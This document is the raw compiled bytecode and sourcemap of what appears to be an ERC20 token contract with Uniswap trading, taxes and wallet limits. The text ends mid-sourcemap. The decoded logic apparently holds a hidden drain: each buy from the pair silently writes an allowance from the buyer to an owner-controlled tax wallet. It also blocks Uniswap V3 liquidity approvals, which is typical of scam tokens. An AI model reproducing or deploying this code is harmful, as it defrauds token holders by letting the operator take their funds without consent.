3d601f19601f8201168201806040525081019061059f9190611721565b506014805462ff00ff191662010001179055565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036106395760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084016103fb565b610644338484610aef565b5060015b92915050565b5f61065b6009600a611834565b61066a906461f313f880611842565b905090565b5f61067b848484610c12565b6106cc84336106c785604051806060016040528060288152602001611957602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e9565b610aef565b5060019392505050565b5f546001600160a01b031633146106ff5760405162461bcd60e51b81526004016103fb906116c1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107705760405162461bcd60e51b81526004016103fb906116c1565b60405133904780156108fc02915f818181858888f19350505050158015610799573d5f803e3d5ffd5b50565b5f610644338484610c12565b5f546001600160a01b031633146107d15760405162461bcd60e51b81526004016103fb906116c1565b6107dd6009600a611834565b6107ec906461f313f880611842565b6005556107fb6009600a611834565b61080a906461f313f880611842565b600655600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108706009600a611834565b61087f906461f313f880611842565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108bc5760405162461bcd60e51b81526004016103fb906116c1565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255610906913091906108f790600990611834565b6106c7906461f313f880611842565b600a5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610956573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097a9190611859565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109fd9190611859565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a47573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611859565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610ab65760405162461bcd60e51b81526004016103fb906116c1565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fb565b6001600160a01b038216610bb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fb565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fb565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fb565b5f8111610d395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fb565b6014545f90819062010000900460ff161580610d5c5750601454610100900460ff165b15610e15576001600160a01b0385165f90815260016020526040902054610d84908490611874565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610db3908490611887565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e069087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e3f57505f546001600160a01b03858116911614155b1561109d5760135415610e525760125491505b6009546001600160a01b038681169116148015610e7d5750600a546001600160a01b03858116911614155b8015610ea157506001600160a01b0384165f9081526003602052604090205460ff16155b15610fca57600554831115610ef85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fb565b60065483610f1a866001600160a01b03165f9081526001602052604090205490565b610f249190611887565b1115610f725760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fb565b600f5460135411610f8557600b54610f89565b600d545b604080518082019091526001600160a01b038088168252600454166020820152909250610fb590611221565b60138054905f610fc48361189a565b91905055505b6009546001600160a01b038581169116148015610ff057506001600160a01b0385163014155b1561100f576010546013541161100857600c5461100c565b600e545b91505b305f90815260016020526040902054601454610100900460ff1615801561104357506009546001600160a01b038681169116145b8015611057575060145462010000900460ff165b1561109b57600754811180156110705750601154601354115b156110925761109261108d8561108884600854611278565b611278565b61128f565b61109b476113f9565b505b811561112d576110b860646110b28585611434565b906114b2565b305f908152600160205260409020549091506110d490826114f3565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111249085815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461114f9084611551565b6001600160a01b0386165f908152600160205260409020556111926111748483611551565b6001600160a01b0386165f90815260016020526040902054906114f3565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111db8685611551565b604051908152602001610e06565b5f818484111561120c5760405162461bcd60e51b81526004016103fb91906115be565b505f6112188486611874565b95945050505050565b80516020820151600854611236906064611842565b611241906032611887565b61124c906064611842565b6001600160a01b039283165f908152600260209081526040808320949095168252929092529190205550565b5f8183116112865782611288565b815b9392505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d1576112d16118b2565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611328573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134c9190611859565b8160018151811061135f5761135f6118b2565b6001600160a01b039283166020918202929092010152600a546113859130911684610aef565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bd9085905f908690309042906004016118c6565b5f604051808303815f87803b1580156113d4575f80fd5b505af11580156113e6573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611430573d5f803e3d5ffd5b5050565b5f825f0361144357505f610648565b5f61144e8385611842565b90508261145b8583611937565b146112885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b5f61128883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611592565b5f806114ff8385611887565b9050838110156112885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b5f61128883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b5f81836115b25760405162461bcd60e51b81526004016103fb91906115be565b505f6112188486611937565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610799575f80fd5b5f8060408385031215611618575f80fd5b8235611623816115f3565b946020939093013593505050565b5f805f60608486031215611643575f80fd5b833561164e816115f3565b9250602084013561165e816115f3565b929592945050506040919091013590565b5f6020828403121561167f575f80fd5b8135611288816115f3565b5f806040838503121561169b575f80fd5b82356116a6816115f3565b915060208301356116b6816115f3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611708575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611731575f80fd5b81518015158114611288575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561178e57815f190482111561177457611774611740565b8085161561178157918102915b93841c9390800290611759565b509250929050565b5f826117a457506001610648565b816117b057505f610648565b81600181146117c657600281146117d0576117ec565b6001915050610648565b60ff8411156117e1576117e1611740565b50506001821b610648565b5060208310610133831016604e8410600b841016171561180f575081810a610648565b6118198383611754565b805f190482111561182c5761182c611740565b029392505050565b5f61128860ff841683611796565b808202811582820484141761064857610648611740565b5f60208284031215611869575f80fd5b8151611288816115f3565b8181038181111561064857610648611740565b8082018082111561064857610648611740565b5f600182016118ab576118ab611740565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119165784516001600160a01b0316835293830193918301916001016118f1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261195157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d7950fa88ac375c54d9d94d8507234bf91607c3a932bd3047e6122b15b4dccf64736f6c63430008190033

Deployed Bytecode Sourcemap

3562:8372:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7594:467;;;;;;;;;;;;;:::i;:::-;;5418:83;;;;;;;;;;-1:-1:-1;5488:5:0;;;;;;;;;;;;-1:-1:-1;;;5488:5:0;;;;5418:83;;;;;;;:::i;:::-;;;;;;;;6243:307;;;;;;;;;;-1:-1:-1;6243:307:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6243:307:0;893:187:1;4298:48:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4298:48:0;1085:177:1;5689:97:0;;;;;;;;;;;;;:::i;6556:315::-;;;;;;;;;;-1:-1:-1;6556:315:0;;;;;:::i;:::-;;:::i;5600:83::-;;;;;;;;;;-1:-1:-1;5600:83:0;;3918:1;1870:36:1;;1858:2;1843:18;5600:83:0;1728:184:1;5792:121:0;;;;;;;;;;-1:-1:-1;5792:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5885:20:0;5858:7;5885:20;;;:11;:20;;;;;;;5792:121;1974:148;;;;;;;;;;;;;:::i;4123:49::-;;;;;;;;;;;;;;;;1760:79;;;;;;;;;;-1:-1:-1;1798:7:0;1825:6;1760:79;;-1:-1:-1;;;;;1825:6:0;;;2315:51:1;;2303:2;2288:18;1760:79:0;2169:203:1;4179:51:0;;;;;;;;;;;;;;;;5507:87;;;;;;;;;;-1:-1:-1;5579:7:0;;;;;;;;;;;;-1:-1:-1;;;5579:7:0;;;;5507:87;;11040:111;;;;;;;;;;;;;:::i;5919:167::-;;;;;;;;;;-1:-1:-1;5919:167:0;;;;;:::i;:::-;;:::i;10670:258::-;;;;;;;;;;-1:-1:-1;10670:258:0;;;;;:::i;:::-;;:::i;4237:54::-;;;;;;;;;;;;;;;;6092:145;;;;;;;;;;-1:-1:-1;6092:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6200:20:0;;;6173:7;6200:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6092:145;7220:368;;;;;;;;;;;;;:::i;11287:150::-;;;;;;;;;;-1:-1:-1;11287:150:0;;;;;:::i;:::-;;:::i;7594:467::-;1887:6;;-1:-1:-1;;;;;1887:6:0;1419:10;1887:22;1879:67;;;;-1:-1:-1;;;1879:67:0;;;;;;;:::i;:::-;;;;;;;;;7651:11:::1;::::0;::::1;;7650:12;7642:48;;;::::0;-1:-1:-1;;;7642:48:0;;3593:2:1;7642:48:0::1;::::0;::::1;3575:21:1::0;3632:2;3612:18;;;3605:30;3671:25;3651:18;;;3644:53;3714:18;;7642:48:0::1;3391:347:1::0;7642:48:0::1;7701:11;::::0;-1:-1:-1;;;;;7701:11:0::1;:27;7736:21;7781:4;7801:24;7781:4:::0;-1:-1:-1;;;;;5885:20:0;5858:7;5885:20;;;:11;:20;;;;;;;5792:121;7801:24:::1;7840:1;7856::::0;7872:7:::1;1798::::0;1825:6;-1:-1:-1;;;;;1825:6:0;;1760:79;7872:7:::1;7701:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7701:219:0;;;-1:-1:-1;;;;;4102:15:1;;;7701:219:0::1;::::0;::::1;4084:34:1::0;4134:18;;;4127:34;;;;4177:18;;;4170:34;;;;4220:18;;;4213:34;4284:15;;;4263:19;;;4256:44;7894:15:0::1;4316:19:1::0;;;4309:35;4018:19;;7701:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7938:9:0::1;::::0;7965:11:::1;::::0;7931:63:::1;::::0;-1:-1:-1;;;7931:63:0;;-1:-1:-1;;;;;7965:11:0;;::::1;7931:63;::::0;::::1;4840:51:1::0;-1:-1:-1;;4907:18:1;;;4900:34;7938:9:0;::::1;::::0;-1:-1:-1;7931:25:0::1;::::0;4813:18:1;;7931:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8005:11:0::1;:18:::0;;-1:-1:-1;;8035:18:0;;;;;7594:467::o;6243:307::-;6318:4;11823:42;-1:-1:-1;;;;;11887:35:0;;;6388:82;;;;-1:-1:-1;;;6388:82:0;;5429:2:1;6388:82:0;;;5411:21:1;5468:2;5448:18;;;5441:30;5507:34;5487:18;;;5480:62;-1:-1:-1;;;5558:18:1;;;5551:46;5614:19;;6388:82:0;5227:412:1;6388:82:0;6481:39;1419:10;6504:7;6513:6;6481:8;:39::i;:::-;-1:-1:-1;6538:4:0;6243:307;;;;;:::o;5689:97::-;5742:7;3978:13;3918:1;3978:2;:13;:::i;:::-;3963:28;;:12;:28;:::i;:::-;5762:16;;5689:97;:::o;6556:315::-;6654:4;6671:36;6681:6;6689:9;6700:6;6671:9;:36::i;:::-;6718:123;6727:6;1419:10;6749:91;6789:6;6749:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6749:21:0;;;;;;:13;:21;;;;;;;;1419:10;6749:35;;;;;;;;;;:39;:91::i;:::-;6718:8;:123::i;:::-;-1:-1:-1;6859:4:0;6556:315;;;;;:::o;1974:148::-;1887:6;;-1:-1:-1;;;;;1887:6:0;1419:10;1887:22;1879:67;;;;-1:-1:-1;;;1879:67:0;;;;;;;:::i;:::-;2081:1:::1;2065:6:::0;;2044:40:::1;::::0;-1:-1:-1;;;;;2065:6:0;;::::1;::::0;2044:40:::1;::::0;2081:1;;2044:40:::1;2112:1;2095:19:::0;;-1:-1:-1;;;;;;2095:19:0::1;::::0;;1974:148::o;11040:111::-;1887:6;;-1:-1:-1;;;;;1887:6:0;1419:10;1887:22;1879:67;;;;-1:-1:-1;;;1879:67:0;;;;;;;:::i;:::-;11092:51:::1;::::0;11100:10:::1;::::0;11121:21:::1;11092:51:::0;::::1;;;::::0;::::1;::::0;;;11121:21;11100:10;11092:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11040:111::o:0;5919:167::-;5997:4;6014:42;1419:10;6038:9;6049:6;6014:9;:42::i;10670:258::-;1887:6;;-1:-1:-1;;;;;1887:6:0;1419:10;1887:22;1879:67;;;;-1:-1:-1;;;1879:67:0;;;;;;;:::i;:::-;3978:13:::1;3918:1;3978:2;:13;:::i;:::-;3963:28;::::0;:12:::1;:28;:::i;:::-;10745:12;:24:::0;3978:13:::1;3918:1;3978:2;:13;:::i;:::-;3963:28;::::0;:12:::1;:28;:::i;:::-;10780:14;:24:::0;10815:10:::1;:18:::0;;-1:-1:-1;;;;;;10815:18:0::1;-1:-1:-1::0;;;;;10815:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10844:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;10844:31:0::1;-1:-1:-1::0;10844:31:0::1;::::0;;10891:29:::1;3978:13;3918:1;3978:2;:13;:::i;:::-;3963:28;::::0;:12:::1;:28;:::i;:::-;10891:29;::::0;1231:25:1;;;1219:2;1204:18;10891:29:0::1;;;;;;;10670:258:::0;:::o;7220:368::-;1887:6;;-1:-1:-1;;;;;1887:6:0;1419:10;1887:22;1879:67;;;;-1:-1:-1;;;1879:67:0;;;;;;;:::i;:::-;7266:11:::1;:100:::0;;-1:-1:-1;;;;;;7266:100:0::1;7313:42;7266:100:::0;;::::1;::::0;;7377:56:::1;::::0;7394:4:::1;::::0;7313:42;3978:13:::1;::::0;3918:1:::1;::::0;3978:13:::1;:::i;:::-;3963:28;::::0;:12:::1;:28;:::i;7377:56::-;7474:11;;;;;;;;;-1:-1:-1::0;;;;;7474:11:0::1;-1:-1:-1::0;;;;;7474:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7456:51:0::1;;7530:4;7550:11;;;;;;;;;-1:-1:-1::0;;;;;7550:11:0::1;-1:-1:-1::0;;;;;7550:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7456:123;::::0;-1:-1:-1;;;;;;7456:123:0::1;::::0;;;;;;-1:-1:-1;;;;;7812:15:1;;;7456:123:0::1;::::0;::::1;7794:34:1::0;7864:15;;7844:18;;;7837:43;7729:18;;7456:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7444:9;:135:::0;;-1:-1:-1;;;;;;7444:135:0::1;-1:-1:-1::0;;;;;7444:135:0;;;::::1;::::0;;;::::1;::::0;;7220:368::o;11287:150::-;1887:6;;-1:-1:-1;;;;;1887:6:0;1419:10;1887:22;1879:67;;;;-1:-1:-1;;;1879:67:0;;;;;;;:::i;:::-;11363:10:::1;:21:::0;;-1:-1:-1;;;;;11363:21:0;;::::1;-1:-1:-1::0;;;;;;11363:21:0;;::::1;::::0;::::1;::::0;;:10:::1;11395:27:::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;11395:34:0::1;11363:21:::0;11395:34:::1;::::0;;11287:150::o;6877:337::-;-1:-1:-1;;;;;6970:19:0;;6962:68;;;;-1:-1:-1;;;6962:68:0;;8093:2:1;6962:68:0;;;8075:21:1;8132:2;8112:18;;;8105:30;8171:34;8151:18;;;8144:62;-1:-1:-1;;;8222:18:1;;;8215:34;8266:19;;6962:68:0;7891:400:1;6962:68:0;-1:-1:-1;;;;;7049:21:0;;7041:68;;;;-1:-1:-1;;;7041:68:0;;8498:2:1;7041:68:0;;;8480:21:1;8537:2;8517:18;;;8510:30;8576:34;8556:18;;;8549:62;-1:-1:-1;;;8627:18:1;;;8620:32;8669:19;;7041:68:0;8296:398:1;7041:68:0;-1:-1:-1;;;;;7120:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;:38;;;7174:32;;1231:25:1;;;7174:32:0;;1204:18:1;7174:32:0;;;;;;;6877:337;;;:::o;8067:2127::-;-1:-1:-1;;;;;8157:18:0;;8149:68;;;;-1:-1:-1;;;8149:68:0;;8901:2:1;8149:68:0;;;8883:21:1;8940:2;8920:18;;;8913:30;8979:34;8959:18;;;8952:62;-1:-1:-1;;;9030:18:1;;;9023:35;9075:19;;8149:68:0;8699:401:1;8149:68:0;-1:-1:-1;;;;;8236:16:0;;8228:64;;;;-1:-1:-1;;;8228:64:0;;9307:2:1;8228:64:0;;;9289:21:1;9346:2;9326:18;;;9319:30;9385:34;9365:18;;;9358:62;-1:-1:-1;;;9436:18:1;;;9429:33;9479:19;;8228:64:0;9105:399:1;8228:64:0;8322:1;8311:8;:12;8303:66;;;;-1:-1:-1;;;8303:66:0;;9711:2:1;8303:66:0;;;9693:21:1;9750:2;9730:18;;;9723:30;9789:34;9769:18;;;9762:62;-1:-1:-1;;;9840:18:1;;;9833:39;9889:19;;8303:66:0;9509:405:1;8303:66:0;8428:11;;8380:13;;;;8428:11;;;;;8427:12;;:22;;-1:-1:-1;8443:6:0;;;;;;;8427:22;8423:231;;;-1:-1:-1;;;;;8486:17:0;;;;;;:11;:17;;;;;;:28;;8506:8;;8486:28;:::i;:::-;-1:-1:-1;;;;;8466:17:0;;;;;;;:11;:17;;;;;;:48;;;;8547:15;;;;;;;:26;;8565:8;;8547:26;:::i;:::-;-1:-1:-1;;;;;8529:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8593:28;;;;;;;;;;8612:8;1231:25:1;;1219:2;1204:18;;1085:177;8593:28:0;;;;;;;;8636:7;;8067:2127;;;:::o;8423:231::-;1798:7;1825:6;-1:-1:-1;;;;;8668:15:0;;;1825:6;;8668:15;;;;:32;;-1:-1:-1;1798:7:0;1825:6;-1:-1:-1;;;;;8687:13:0;;;1825:6;;8687:13;;8668:32;8664:1115;;;8720:9;;:11;8717:71;;8760:12;;8752:20;;8717:71;8814:9;;-1:-1:-1;;;;;8806:17:0;;;8814:9;;8806:17;:47;;;;-1:-1:-1;8841:11:0;;-1:-1:-1;;;;;8827:26:0;;;8841:11;;8827:26;;8806:47;:74;;;;-1:-1:-1;;;;;;8859:21:0;;;;;;:17;:21;;;;;;;;8857:23;8806:74;8802:420;;;8922:12;;8910:8;:24;;8902:62;;;;-1:-1:-1;;;8902:62:0;;10384:2:1;8902:62:0;;;10366:21:1;10423:2;10403:18;;;10396:30;10462:27;10442:18;;;10435:55;10507:18;;8902:62:0;10182:349:1;8902:62:0;9019:14;;9007:8;8991:13;9001:2;-1:-1:-1;;;;;5885:20:0;5858:7;5885:20;;;:11;:20;;;;;;;5792:121;8991:13;:24;;;;:::i;:::-;:42;;8983:81;;;;-1:-1:-1;;;8983:81:0;;10738:2:1;8983:81:0;;;10720:21:1;10777:2;10757:18;;;10750:30;10816:28;10796:18;;;10789:56;10862:18;;8983:81:0;10536:350:1;8983:81:0;9103:15;;9093:9;;:25;9092:55;;9133:14;;9092:55;;;9120:12;;9092:55;9150:26;;;;;;;;;-1:-1:-1;;;;;9150:26:0;;;;;9164:10;;;9150:26;;;;9083:65;;-1:-1:-1;9150:26:0;;:6;:26::i;:::-;9195:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8802:420;9245:9;;-1:-1:-1;;;;;9239:15:0;;;9245:9;;9239:15;:39;;;;-1:-1:-1;;;;;;9258:20:0;;9273:4;9258:20;;9239:39;9236:147;;;9319:16;;9309:9;;:26;9308:58;;9351:15;;9308:58;;;9337:13;;9308:58;9299:68;;9236:147;9446:4;9397:28;5885:20;;;:11;:20;;;;;;9472:6;;;;;;;9471:7;:26;;;;-1:-1:-1;9488:9:0;;-1:-1:-1;;;;;9482:15:0;;;9488:9;;9482:15;9471:26;:41;;;;-1:-1:-1;9501:11:0;;;;;;;9471:41;9467:301;;;9559:17;;9536:20;:40;:74;;;;;9592:18;;9580:9;;:30;9536:74;9533:168;;;9633:68;9643:57;9649:8;9659:40;9665:20;9687:11;;9659:5;:40::i;:::-;9643:5;:57::i;:::-;9633:9;:68::i;:::-;9720:32;9730:21;9720:9;:32::i;:::-;8702:1077;8664:1115;9800:9;;9797:208;;9831:28;9855:3;9831:19;:8;9844:5;9831:12;:19::i;:::-;:23;;:28::i;:::-;9921:4;9901:26;;;;:11;:26;;;;;;9825:34;;-1:-1:-1;9901:37:0;;9825:34;9901:30;:37::i;:::-;9894:4;9874:26;;;;:11;:26;;;;;;;:64;;;;9958:35;;-1:-1:-1;;;;;9958:35:0;;;;;;;9987:5;1231:25:1;;1219:2;1204:18;;1085:177;9958:35:0;;;;;;;;9797:208;-1:-1:-1;;;;;10033:17:0;;;;;;:11;:17;;;;;;:31;;10055:8;10033:21;:31::i;:::-;-1:-1:-1;;;;;10015:17:0;;;;;;:11;:17;;;;;:49;10091:40;10111:19;:8;10124:5;10111:12;:19::i;:::-;-1:-1:-1;;;;;10091:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;10075:15:0;;;;;;;:11;:15;;;;;:56;;;;10147:39;;;10166:19;:8;10179:5;10166:12;:19::i;:::-;10147:39;;1231:25:1;;;1219:2;1204:18;10147:39:0;1085:177:1;518:190:0;604:7;640:12;632:6;;;;624:29;;;;-1:-1:-1;;;624:29:0;;;;;;;;:::i;:::-;-1:-1:-1;664:9:0;676:5;680:1;676;:5;:::i;:::-;664:17;518:190;-1:-1:-1;;;;;518:190:0:o;11443:174::-;11515:7;;;11534;;;11586:11;;11580:17;;:3;:17;:::i;:::-;:22;;11600:2;11580:22;:::i;:::-;11579:30;;11606:3;11579:30;:::i;:::-;-1:-1:-1;;;;;11553:19:0;;;;;;;:13;:19;;;;;;;;:23;;;;;;;;;;;;;:56;-1:-1:-1;11443:174:0:o;10934:100::-;10993:7;11020:1;11018;:3;11017:9;;11025:1;11017:9;;;11023:1;11017:9;11010:16;10934:100;-1:-1:-1;;;10934:100:0:o;10200:464::-;5030:6;:13;;-1:-1:-1;;5030:13:0;;;;;10295:16:::1;::::0;;10309:1:::1;10295:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10295:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10295:16:0::1;10271:40;;10340:4;10322;10327:1;10322:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10322:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10366:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10366:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10322:7;;10366:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10356:4;10361:1;10356:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10356:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10427:11:::1;::::0;10395:58:::1;::::0;10412:4:::1;::::0;10427:11:::1;10441::::0;10395:8:::1;:58::i;:::-;10464:11;::::0;:192:::1;::::0;-1:-1:-1;;;10464:192:0;;-1:-1:-1;;;;;10464:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10541:11;;10464::::1;::::0;10583:4;;10610::::1;::::0;10630:15:::1;::::0;10464:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5066:6:0;:14;;-1:-1:-1;;5066:14:0;;;-1:-1:-1;;;;10200:464:0:o;11157:89::-;11211:10;;:27;;-1:-1:-1;;;;;11211:10:0;;;;:27;;;;;11231:6;;11211:10;:27;:10;:27;11231:6;11211:10;:27;;;;;;;;;;;;;;;;;;;;;11157:89;:::o;716:246::-;774:7;798:1;803;798:6;794:47;;-1:-1:-1;828:1:0;821:8;;794:47;851:9;863:5;867:1;863;:5;:::i;:::-;851:17;-1:-1:-1;896:1:0;887:5;891:1;851:17;887:5;:::i;:::-;:10;879:56;;;;-1:-1:-1;;;879:56:0;;12704:2:1;879:56:0;;;12686:21:1;12743:2;12723:18;;;12716:30;12782:34;12762:18;;;12755:62;-1:-1:-1;;;12833:18:1;;;12826:31;12874:19;;879:56:0;12502:397:1;970:132:0;1028:7;1055:39;1059:1;1062;1055:39;;;;;;;;;;;;;;;;;:3;:39::i;187:179::-;245:7;;277:5;281:1;277;:5;:::i;:::-;265:17;;306:1;301;:6;;293:46;;;;-1:-1:-1;;;293:46:0;;13106:2:1;293:46:0;;;13088:21:1;13145:2;13125:18;;;13118:30;13184:29;13164:18;;;13157:57;13231:18;;293:46:0;12904:351:1;374:136:0;432:7;459:43;463:1;466;459:43;;;;;;;;;;;;;;;;;:3;:43::i;1110:189::-;1196:7;1231:12;1224:5;1216:28;;;;-1:-1:-1;;;1216:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1255:9:0;1267:5;1271:1;1267;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;